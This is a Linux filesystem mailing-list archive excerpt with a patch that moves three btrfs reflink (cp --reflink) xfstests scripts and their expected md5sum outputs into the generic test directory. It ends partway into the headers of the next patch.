(8.13.8/8.13.8) with ESMTP id t975DJlM017011 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:13:19 GMT Received: from abhmp0004.oracle.com (abhmp0004.oracle.com [141.146.116.10]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t975DIia026882; Wed, 7 Oct 2015 05:13:19 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:13:18 -0700 Subject: [PATCH 02/12] btrfs: move btrfs reflink tests to generic From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 02/12] btrfs: move btrfs reflink tests to generic To: david@fromorbit.com, darrick.wong@oracle.com Cc: Anna.Schumaker@netapp.com, linux-ext4@vger.kernel.org, linux-btrfs@vger.kernel.org, fstests@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:13:17 -0700 Message-ID: <20151007051317.3260.47619.stgit@birch.djwong.org> In-Reply-To: <20151007051257.3260.73072.stgit@birch.djwong.org> References: <20151007051257.3260.73072.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194801 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Move the cp --reflink tests from btrfs/ to generic/ since xfs now supports that ioctl. Signed-off-by: Darrick J. Wong --- tests/btrfs/026 | 92 ----------------------------------------- tests/btrfs/026.out | 16 ------- tests/btrfs/027 | 109 ------------------------------------------------- tests/btrfs/027.out | 25 ----------- tests/btrfs/028 | 83 ------------------------------------- tests/btrfs/028.out | 7 --- tests/btrfs/group | 3 - tests/generic/800 | 92 +++++++++++++++++++++++++++++++++++++++++ tests/generic/800.out | 16 +++++++ tests/generic/801 | 109 +++++++++++++++++++++++++++++++++++++++++++++++++ tests/generic/801.out | 25 +++++++++++ tests/generic/802 | 83 +++++++++++++++++++++++++++++++++++++ tests/generic/802.out | 7 +++ tests/generic/group | 3 + 14 files changed, 335 insertions(+), 335 deletions(-) delete mode 100755 tests/btrfs/026 delete mode 100644 tests/btrfs/026.out delete mode 100755 tests/btrfs/027 delete mode 100644 tests/btrfs/027.out delete mode 100755 tests/btrfs/028 delete mode 100644 tests/btrfs/028.out create mode 100755 tests/generic/800 create mode 100644 tests/generic/800.out create mode 100755 tests/generic/801 create mode 100644 tests/generic/801.out create mode 100755 tests/generic/802 create mode 100644 tests/generic/802.out diff --git a/tests/btrfs/026 b/tests/btrfs/026 deleted file mode 100755 index 7559ca2..0000000 --- a/tests/btrfs/026 +++ /dev/null @@ -1,92 +0,0 @@ -#! /bin/bash -# FS QA Test No. 026 -# -# Tests file clone functionality of btrfs ("reflinks"): -# - Reflink a file -# - Reflink the reflinked file -# - Modify the original file -# - Modify the reflinked file -# -#----------------------------------------------------------------------- -# Copyright (c) 2014, Oracle and/or its affiliates. All Rights Reserved. -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation. -# -# This program is distributed in the hope that it would be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write the Free Software Foundation, -# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA -#----------------------------------------------------------------------- -# - -seq=`basename $0` -seqres=$RESULT_DIR/$seq -echo "QA output created by $seq" - -here=`pwd` -tmp=/tmp/$$ -status=1 # failure is the default! -trap "_cleanup; exit \$status" 0 1 2 3 15 - -_cleanup() -{ - cd / - rm -f $tmp.* -} - -# get standard environment, filters and checks -. common/rc -. common/filter - -# real QA test starts here -_supported_fs btrfs -_supported_os Linux - -_require_xfs_io_command "fiemap" -_require_cp_reflink -_require_test - -TESTDIR1=$TEST_DIR/test-$seq -rm -rf $TESTDIR1 -mkdir $TESTDIR1 - -_checksum_files() { - for F in original copy1 copy2 - do - md5sum $TESTDIR1/$F | _filter_test_dir - done -} - -rm -f $seqres.full - -echo "Create the original file and reflink to copy1, copy2" -$XFS_IO_PROG -f -c 'pwrite -S 0x61 0 9000' $TESTDIR1/original \ - >> $seqres.full 2>&1 -cp --reflink $TESTDIR1/original $TESTDIR1/copy1 -cp --reflink $TESTDIR1/copy1 $TESTDIR1/copy2 -_verify_reflink $TESTDIR1/original $TESTDIR1/copy1 -_verify_reflink $TESTDIR1/original $TESTDIR1/copy2 -echo "Original md5sums:" -_checksum_files - -echo "Overwrite original file with new data" -$XFS_IO_PROG -c 'pwrite -S 0x62 0 9000' $TESTDIR1/original \ - >> $seqres.full 2>&1 -echo "md5sums after overwriting original:" -_checksum_files - -echo "Overwrite copy1 with different new data" -$XFS_IO_PROG -c 'pwrite -S 0x63 0 9000' $TESTDIR1/copy1 \ - >> $seqres.full 2>&1 -echo "md5sums after overwriting copy1:" -_checksum_files - -# success, all done -status=0 -exit diff --git a/tests/btrfs/026.out b/tests/btrfs/026.out deleted file mode 100644 index 3b90ff0..0000000 --- a/tests/btrfs/026.out +++ /dev/null @@ -1,16 +0,0 @@ -QA output created by 026 -Create the original file and reflink to copy1, copy2 -Original md5sums: -42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-026/original -42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-026/copy1 -42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-026/copy2 -Overwrite original file with new data -md5sums after overwriting original: -4a847a25439532bf48b68c9e9536ed5b TEST_DIR/test-026/original -42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-026/copy1 -42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-026/copy2 -Overwrite copy1 with different new data -md5sums after overwriting copy1: -4a847a25439532bf48b68c9e9536ed5b TEST_DIR/test-026/original -e271cd47d9f62ebc96cb4e67ae4d16db TEST_DIR/test-026/copy1 -42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-026/copy2 diff --git a/tests/btrfs/027 b/tests/btrfs/027 deleted file mode 100755 index d2b812b..0000000 --- a/tests/btrfs/027 +++ /dev/null @@ -1,109 +0,0 @@ -#! /bin/bash -# FS QA Test No. 027 -# -# Tests file clone functionality of btrfs ("reflinks") on directory -# trees. -# - Create directory and subdirectory, each having one file -# - Create 2 recursive reflinked copies of the tree -# - Modify the original files -# - Modify one of the copies -# -#----------------------------------------------------------------------- -# Copyright (c) 2014, Oracle and/or its affiliates. All Rights Reserved. -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation. -# -# This program is distributed in the hope that it would be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write the Free Software Foundation, -# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA -#----------------------------------------------------------------------- - -seq=`basename $0` -seqres=$RESULT_DIR/$seq -echo "QA output created by $seq" - -here=`pwd` -tmp=/tmp/$$ -status=1 # failure is the default! -trap "_cleanup; exit \$status" 0 1 2 3 15 - -_cleanup() -{ - cd / - rm -f $tmp.* -} - -# get standard environment, filters and checks -. common/rc -. common/filter - -# real QA test starts here -_supported_fs btrfs -_supported_os Linux - -_require_xfs_io_command "fiemap" -_require_cp_reflink -_require_test - -TESTDIR1=$TEST_DIR/test-$seq -rm -rf $TESTDIR1 -mkdir $TESTDIR1 - -_checksum_files() { - for F in original/file1 original/subdir/file2 \ - copy1/file1 copy1/subdir/file2 \ - copy2/file1 copy2/subdir/file2 - do - md5sum $TESTDIR1/$F | _filter_test_dir - done -} - -rm -f $seqres.full - -mkdir $TESTDIR1/original -mkdir $TESTDIR1/original/subdir - -echo "Create the original files and reflink dirs" -$XFS_IO_PROG -f -c 'pwrite -S 0x61 0 9000' $TESTDIR1/original/file1 \ - >> $seqres.full 2>&1 -$XFS_IO_PROG -f -c 'pwrite -S 0x62 0 11000' \ - $TESTDIR1/original/subdir/file2 >> $seqres.full 2>&1 -cp --recursive --reflink $TESTDIR1/original $TESTDIR1/copy1 -cp --recursive --reflink $TESTDIR1/copy1 $TESTDIR1/copy2 - -_verify_reflink $TESTDIR1/original/file1 $TESTDIR1/copy1/file1 -_verify_reflink $TESTDIR1/original/subdir/file2 \ - $TESTDIR1/copy1/subdir/file2 -_verify_reflink $TESTDIR1/original/file1 $TESTDIR1/copy2/file1 -_verify_reflink $TESTDIR1/original/subdir/file2 \ - $TESTDIR1/copy2/subdir/file2 - -echo "Original md5sums:" -_checksum_files - -echo "Overwrite original/file1 and original/subdir/file2 with new data" -$XFS_IO_PROG -c 'pwrite -S 0x63 0 13000' $TESTDIR1/original/file1 \ - >> $seqres.full 2>&1 -$XFS_IO_PROG -c 'pwrite -S 0x64 5000 1000' \ - $TESTDIR1/original/subdir/file2 >> $seqres.full 2>&1 -echo "md5sums now:" -_checksum_files - -echo "Overwrite copy1/file1 and copy1/subdir/file2 with new data" -$XFS_IO_PROG -c 'pwrite -S 0x65 0 9000' $TESTDIR1/copy1/file1 \ - >> $seqres.full 2>&1 -$XFS_IO_PROG -c 'pwrite -S 0x66 5000 25000' \ - $TESTDIR1/copy1/subdir/file2 >> $seqres.full 2>&1 -echo "md5sums now:" -_checksum_files - -# success, all done -status=0 -exit diff --git a/tests/btrfs/027.out b/tests/btrfs/027.out deleted file mode 100644 index 7b7e3bb..0000000 --- a/tests/btrfs/027.out +++ /dev/null @@ -1,25 +0,0 @@ -QA output created by 027 -Create the original files and reflink dirs -Original md5sums: -42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-027/original/file1 -ca390545f0aedb54b808d6128c56a7dd TEST_DIR/test-027/original/subdir/file2 -42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-027/copy1/file1 -ca390545f0aedb54b808d6128c56a7dd TEST_DIR/test-027/copy1/subdir/file2 -42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-027/copy2/file1 -ca390545f0aedb54b808d6128c56a7dd TEST_DIR/test-027/copy2/subdir/file2 -Overwrite original/file1 and original/subdir/file2 with new data -md5sums now: -260f6785c0537fd12582dcae28a3c1a9 TEST_DIR/test-027/original/file1 -b8d91fb600f6f2191f2ba66665374860 TEST_DIR/test-027/original/subdir/file2 -42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-027/copy1/file1 -ca390545f0aedb54b808d6128c56a7dd TEST_DIR/test-027/copy1/subdir/file2 -42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-027/copy2/file1 -ca390545f0aedb54b808d6128c56a7dd TEST_DIR/test-027/copy2/subdir/file2 -Overwrite copy1/file1 and copy1/subdir/file2 with new data -md5sums now: -260f6785c0537fd12582dcae28a3c1a9 TEST_DIR/test-027/original/file1 -b8d91fb600f6f2191f2ba66665374860 TEST_DIR/test-027/original/subdir/file2 -b20229a003e3985c4b0e6806abcd6642 TEST_DIR/test-027/copy1/file1 -b815b24069db14e0a3a07169fd563e93 TEST_DIR/test-027/copy1/subdir/file2 -42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-027/copy2/file1 -ca390545f0aedb54b808d6128c56a7dd TEST_DIR/test-027/copy2/subdir/file2 diff --git a/tests/btrfs/028 b/tests/btrfs/028 deleted file mode 100755 index 7193337..0000000 --- a/tests/btrfs/028 +++ /dev/null @@ -1,83 +0,0 @@ -#! /bin/bash -# FS QA Test No. 028 -# -# Moving and deleting cloned ("reflinked") files on btrfs: -# - Create a file and a reflink -# - Move both to a directory -# - Delete the original (moved) file, check that the copy still exists. -# -#----------------------------------------------------------------------- -# Copyright (c) 2014, Oracle and/or its affiliates. All Rights Reserved. -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation. -# -# This program is distributed in the hope that it would be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write the Free Software Foundation, -# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA -#----------------------------------------------------------------------- - -seq=`basename $0` -seqres=$RESULT_DIR/$seq -echo "QA output created by $seq" - -here=`pwd` -tmp=/tmp/$$ -status=1 # failure is the default! -trap "_cleanup; exit \$status" 0 1 2 3 15 - -_cleanup() -{ - cd / - rm -f $tmp.* -} - -# get standard environment, filters and checks -. ./common/rc -. ./common/filter - -# real QA test starts here -_supported_fs btrfs -_supported_os Linux - -_require_xfs_io_command "fiemap" -_require_cp_reflink -_require_test - -rm -f $seqres.full - -TESTDIR1=$TEST_DIR/test-$seq -rm -rf $TESTDIR1 -mkdir $TESTDIR1 - -echo "Create the original files and reflink dirs" -$XFS_IO_PROG -f -c 'pwrite -S 0x61 0 9000' $TESTDIR1/original \ - >> $seqres.full -cp --reflink $TESTDIR1/original $TESTDIR1/copy - -_verify_reflink $TESTDIR1/original $TESTDIR1/copy - -echo "Move orig & reflink copy to subdir and md5sum:" -mkdir $TESTDIR1/subdir -mv $TESTDIR1/original $TESTDIR1/subdir/original_moved -mv $TESTDIR1/copy $TESTDIR1/subdir/copy_moved -_verify_reflink $TESTDIR1/subdir/original_moved \ - $TESTDIR1/subdir/copy_moved - -md5sum $TESTDIR1/subdir/original_moved | _filter_test_dir -md5sum $TESTDIR1/subdir/copy_moved | _filter_test_dir - -echo "remove orig from subdir and md5sum reflink copy:" -rm $TESTDIR1/subdir/original_moved -md5sum $TESTDIR1/subdir/copy_moved | _filter_test_dir -rm -rf $TESTDIR1/subdir - -# success, all done -status=0 -exit diff --git a/tests/btrfs/028.out b/tests/btrfs/028.out deleted file mode 100644 index f683fce..0000000 --- a/tests/btrfs/028.out +++ /dev/null @@ -1,7 +0,0 @@ -QA output created by 028 -Create the original files and reflink dirs -Move orig & reflink copy to subdir and md5sum: -42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-028/subdir/original_moved -42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-028/subdir/copy_moved -remove orig from subdir and md5sum reflink copy: -42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-028/subdir/copy_moved diff --git a/tests/btrfs/group b/tests/btrfs/group index e92a65a..07c23c4 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -28,9 +28,6 @@ 023 auto 024 auto quick compress 025 auto quick send clone -026 auto quick clone -027 auto quick clone -028 auto quick clone 029 auto quick clone 030 auto quick send 031 auto quick subvol clone diff --git a/tests/generic/800 b/tests/generic/800 new file mode 100755 index 0000000..a71f11a --- /dev/null +++ b/tests/generic/800 @@ -0,0 +1,92 @@ +#! /bin/bash +# FS QA Test No. 800 +# +# Tests file clone functionality of btrfs ("reflinks"): +# - Reflink a file +# - Reflink the reflinked file +# - Modify the original file +# - Modify the reflinked file +# +#----------------------------------------------------------------------- +# Copyright (c) 2014, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -f $tmp.* +} + +# get standard environment, filters and checks +. common/rc +. common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux + +_require_xfs_io_command "fiemap" +_require_cp_reflink +_require_test + +TESTDIR1=$TEST_DIR/test-$seq +rm -rf $TESTDIR1 +mkdir $TESTDIR1 + +_checksum_files() { + for F in original copy1 copy2 + do + md5sum $TESTDIR1/$F | _filter_test_dir + done +} + +rm -f $seqres.full + +echo "Create the original file and reflink to copy1, copy2" +$XFS_IO_PROG -f -c 'pwrite -S 0x61 0 9000' $TESTDIR1/original \ + >> $seqres.full 2>&1 +cp --reflink $TESTDIR1/original $TESTDIR1/copy1 +cp --reflink $TESTDIR1/copy1 $TESTDIR1/copy2 +_verify_reflink $TESTDIR1/original $TESTDIR1/copy1 +_verify_reflink $TESTDIR1/original $TESTDIR1/copy2 +echo "Original md5sums:" +_checksum_files + +echo "Overwrite original file with new data" +$XFS_IO_PROG -c 'pwrite -S 0x62 0 9000' $TESTDIR1/original \ + >> $seqres.full 2>&1 +echo "md5sums after overwriting original:" +_checksum_files + +echo "Overwrite copy1 with different new data" +$XFS_IO_PROG -c 'pwrite -S 0x63 0 9000' $TESTDIR1/copy1 \ + >> $seqres.full 2>&1 +echo "md5sums after overwriting copy1:" +_checksum_files + +# success, all done +status=0 +exit diff --git a/tests/generic/800.out b/tests/generic/800.out new file mode 100644 index 0000000..6978d71 --- /dev/null +++ b/tests/generic/800.out @@ -0,0 +1,16 @@ +QA output created by 800 +Create the original file and reflink to copy1, copy2 +Original md5sums: +42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-800/original +42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-800/copy1 +42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-800/copy2 +Overwrite original file with new data +md5sums after overwriting original: +4a847a25439532bf48b68c9e9536ed5b TEST_DIR/test-800/original +42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-800/copy1 +42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-800/copy2 +Overwrite copy1 with different new data +md5sums after overwriting copy1: +4a847a25439532bf48b68c9e9536ed5b TEST_DIR/test-800/original +e271cd47d9f62ebc96cb4e67ae4d16db TEST_DIR/test-800/copy1 +42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-800/copy2 diff --git a/tests/generic/801 b/tests/generic/801 new file mode 100755 index 0000000..b21c44b --- /dev/null +++ b/tests/generic/801 @@ -0,0 +1,109 @@ +#! /bin/bash +# FS QA Test No. 801 +# +# Tests file clone functionality of btrfs ("reflinks") on directory +# trees. +# - Create directory and subdirectory, each having one file +# - Create 2 recursive reflinked copies of the tree +# - Modify the original files +# - Modify one of the copies +# +#----------------------------------------------------------------------- +# Copyright (c) 2014, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -f $tmp.* +} + +# get standard environment, filters and checks +. common/rc +. common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux + +_require_xfs_io_command "fiemap" +_require_cp_reflink +_require_test + +TESTDIR1=$TEST_DIR/test-$seq +rm -rf $TESTDIR1 +mkdir $TESTDIR1 + +_checksum_files() { + for F in original/file1 original/subdir/file2 \ + copy1/file1 copy1/subdir/file2 \ + copy2/file1 copy2/subdir/file2 + do + md5sum $TESTDIR1/$F | _filter_test_dir + done +} + +rm -f $seqres.full + +mkdir $TESTDIR1/original +mkdir $TESTDIR1/original/subdir + +echo "Create the original files and reflink dirs" +$XFS_IO_PROG -f -c 'pwrite -S 0x61 0 9000' $TESTDIR1/original/file1 \ + >> $seqres.full 2>&1 +$XFS_IO_PROG -f -c 'pwrite -S 0x62 0 11000' \ + $TESTDIR1/original/subdir/file2 >> $seqres.full 2>&1 +cp --recursive --reflink $TESTDIR1/original $TESTDIR1/copy1 +cp --recursive --reflink $TESTDIR1/copy1 $TESTDIR1/copy2 + +_verify_reflink $TESTDIR1/original/file1 $TESTDIR1/copy1/file1 +_verify_reflink $TESTDIR1/original/subdir/file2 \ + $TESTDIR1/copy1/subdir/file2 +_verify_reflink $TESTDIR1/original/file1 $TESTDIR1/copy2/file1 +_verify_reflink $TESTDIR1/original/subdir/file2 \ + $TESTDIR1/copy2/subdir/file2 + +echo "Original md5sums:" +_checksum_files + +echo "Overwrite original/file1 and original/subdir/file2 with new data" +$XFS_IO_PROG -c 'pwrite -S 0x63 0 13000' $TESTDIR1/original/file1 \ + >> $seqres.full 2>&1 +$XFS_IO_PROG -c 'pwrite -S 0x64 5000 1000' \ + $TESTDIR1/original/subdir/file2 >> $seqres.full 2>&1 +echo "md5sums now:" +_checksum_files + +echo "Overwrite copy1/file1 and copy1/subdir/file2 with new data" +$XFS_IO_PROG -c 'pwrite -S 0x65 0 9000' $TESTDIR1/copy1/file1 \ + >> $seqres.full 2>&1 +$XFS_IO_PROG -c 'pwrite -S 0x66 5000 25000' \ + $TESTDIR1/copy1/subdir/file2 >> $seqres.full 2>&1 +echo "md5sums now:" +_checksum_files + +# success, all done +status=0 +exit diff --git a/tests/generic/801.out b/tests/generic/801.out new file mode 100644 index 0000000..b8225cc --- /dev/null +++ b/tests/generic/801.out @@ -0,0 +1,25 @@ +QA output created by 801 +Create the original files and reflink dirs +Original md5sums: +42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-801/original/file1 +ca390545f0aedb54b808d6128c56a7dd TEST_DIR/test-801/original/subdir/file2 +42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-801/copy1/file1 +ca390545f0aedb54b808d6128c56a7dd TEST_DIR/test-801/copy1/subdir/file2 +42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-801/copy2/file1 +ca390545f0aedb54b808d6128c56a7dd TEST_DIR/test-801/copy2/subdir/file2 +Overwrite original/file1 and original/subdir/file2 with new data +md5sums now: +260f6785c0537fd12582dcae28a3c1a9 TEST_DIR/test-801/original/file1 +b8d91fb600f6f2191f2ba66665374860 TEST_DIR/test-801/original/subdir/file2 +42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-801/copy1/file1 +ca390545f0aedb54b808d6128c56a7dd TEST_DIR/test-801/copy1/subdir/file2 +42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-801/copy2/file1 +ca390545f0aedb54b808d6128c56a7dd TEST_DIR/test-801/copy2/subdir/file2 +Overwrite copy1/file1 and copy1/subdir/file2 with new data +md5sums now: +260f6785c0537fd12582dcae28a3c1a9 TEST_DIR/test-801/original/file1 +b8d91fb600f6f2191f2ba66665374860 TEST_DIR/test-801/original/subdir/file2 +b20229a003e3985c4b0e6806abcd6642 TEST_DIR/test-801/copy1/file1 +b815b24069db14e0a3a07169fd563e93 TEST_DIR/test-801/copy1/subdir/file2 +42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-801/copy2/file1 +ca390545f0aedb54b808d6128c56a7dd TEST_DIR/test-801/copy2/subdir/file2 diff --git a/tests/generic/802 b/tests/generic/802 new file mode 100755 index 0000000..afd8513 --- /dev/null +++ b/tests/generic/802 @@ -0,0 +1,83 @@ +#! /bin/bash +# FS QA Test No. 802 +# +# Moving and deleting cloned ("reflinked") files on btrfs: +# - Create a file and a reflink +# - Move both to a directory +# - Delete the original (moved) file, check that the copy still exists. +# +#----------------------------------------------------------------------- +# Copyright (c) 2014, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -f $tmp.* +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux + +_require_xfs_io_command "fiemap" +_require_cp_reflink +_require_test + +rm -f $seqres.full + +TESTDIR1=$TEST_DIR/test-$seq +rm -rf $TESTDIR1 +mkdir $TESTDIR1 + +echo "Create the original files and reflink dirs" +$XFS_IO_PROG -f -c 'pwrite -S 0x61 0 9000' $TESTDIR1/original \ + >> $seqres.full +cp --reflink $TESTDIR1/original $TESTDIR1/copy + +_verify_reflink $TESTDIR1/original $TESTDIR1/copy + +echo "Move orig & reflink copy to subdir and md5sum:" +mkdir $TESTDIR1/subdir +mv $TESTDIR1/original $TESTDIR1/subdir/original_moved +mv $TESTDIR1/copy $TESTDIR1/subdir/copy_moved +_verify_reflink $TESTDIR1/subdir/original_moved \ + $TESTDIR1/subdir/copy_moved + +md5sum $TESTDIR1/subdir/original_moved | _filter_test_dir +md5sum $TESTDIR1/subdir/copy_moved | _filter_test_dir + +echo "remove orig from subdir and md5sum reflink copy:" +rm $TESTDIR1/subdir/original_moved +md5sum $TESTDIR1/subdir/copy_moved | _filter_test_dir +rm -rf $TESTDIR1/subdir + +# success, all done +status=0 +exit diff --git a/tests/generic/802.out b/tests/generic/802.out new file mode 100644 index 0000000..c20e16e --- /dev/null +++ b/tests/generic/802.out @@ -0,0 +1,7 @@ +QA output created by 802 +Create the original files and reflink dirs +Move orig & reflink copy to subdir and md5sum: +42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-802/subdir/original_moved +42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-802/subdir/copy_moved +remove orig from subdir and md5sum reflink copy: +42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-802/subdir/copy_moved diff --git a/tests/generic/group b/tests/generic/group index 4ae256f..d8b21ce 100644 --- a/tests/generic/group +++ b/tests/generic/group @@ -207,3 +207,6 @@ 323 auto aio stress 324 auto fsr quick 325 auto quick data log +800 auto quick clone +801 auto quick clone +802 auto quick clone From darrick.wong@oracle.com Wed Oct 7 00:13:34 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3427729F16 for ; Wed, 7 Oct 2015 00:13:34 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id C3903AC007 for ; Tue, 6 Oct 2015 22:13:33 -0700 (PDT) X-ASG-Debug-ID: 1444194811-04bdf020da0ebd0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id KATnvLJ9EMruA3El (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:13:32 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t975DPru025102 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:13:26 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t975DP69017242 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:13:25 GMT Received: from abhmp0008.oracle.com (abhmp0008.oracle.com [141.146.116.14]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t975DPX8026924; Wed, 7 Oct 2015 05:13:25 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:13:25 -0700 Subject: [PATCH 03/12] generic/80[0-2]: support xfs in 